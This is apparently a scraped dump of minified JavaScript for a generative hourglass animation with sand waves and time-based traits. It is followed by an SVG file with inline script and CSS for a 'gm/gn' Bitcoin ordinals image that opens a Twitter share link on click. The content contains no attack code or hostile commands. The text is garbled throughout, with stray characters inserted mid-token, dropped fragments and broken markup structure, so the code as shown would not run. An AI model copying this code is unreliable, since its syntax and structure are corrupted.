map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 002 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#605FD3')
      document.querySelector('.m2').setAttribute('fill', '#8888DE')
      document.querySelector('.m3').setAttribute('fill', '#5E7BA9')
      document.querySelector('.m4').setAttribute('fill', '#A3B3E0')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #222178;}
    .m0GN stop:nth-child(2) {stop-color: #242399;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm11.969.7c0-2.5.4-4.633 1.2-6.4.8-1.8 2.233-3.783 4.3-5.95 2.033-2.167 3.433-4.017 4.2-5.55.8-1.533 1.2-3.133 1.2-4.8 0-1.5-.25-2.533-.75-3.1-.467-.6-1.167-.9-2.1-.9-1.9 0-2.85 1.15-2.85 3.45v3.75h-5.2v-3.4c0-2.833.7-5 2.1-6.5 1.4-1.533 3.433-2.3 6.1-2.3 2.666 0 4.7.767 6.1 2.3 1.4 1.5 2.1 3.667 2.1 6.5 0 2.133-.517 4.217-1.55 6.25-1 2.033-2.75 4.367-5.25 7-1.633 1.733-2.733 3.15-3.3 4.25a7.244 7.244 0 0 0-.85 3.45v.75h10.45v5h-15.9v-3.8Zm32.32-31.2h4.74M
9l-13.8 35h-4.75l13.8-35Z" class="002/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-M
11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.M
07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.4M
05-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FM
F7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.56c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.M
18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0M
-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .58.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705cM
0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-M
.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill=M
"#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1M
 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.M
167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.M
967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1M
.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class=M
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.994 22.024.401 39.755 18.379 39.755 40.499 0 22.371-M
